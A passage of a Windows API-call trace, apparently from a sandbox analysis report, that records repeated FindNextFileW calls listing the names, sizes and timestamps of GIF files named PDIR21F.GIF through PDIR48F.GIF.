ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR21F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR22F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x313b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR23F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR24F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd51e200, ftCreationTime.dwHighDateTime=0x1bdb5da, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd51e200, ftLastWriteTime.dwHighDateTime=0x1bdb5da, nFileSizeHigh=0x0, nFileSizeLow=0x3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR25F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1985, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR26F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR27F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x684, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1786, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x59bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3567a000, ftCreationTime.dwHighDateTime=0x1bdb36e, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3567a000, ftLastWriteTime.dwHighDateTime=0x1bdb36e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x52da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x910b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1631, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d13, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x95dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x23e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36B.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR37F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb819, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR38F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xaf65, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR39F.GIF", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4647, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10f19, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR40F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x7d5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR41F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR42F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3606, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3026, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2019, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x80d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2b53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48B.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x178c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48F.GIF", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, 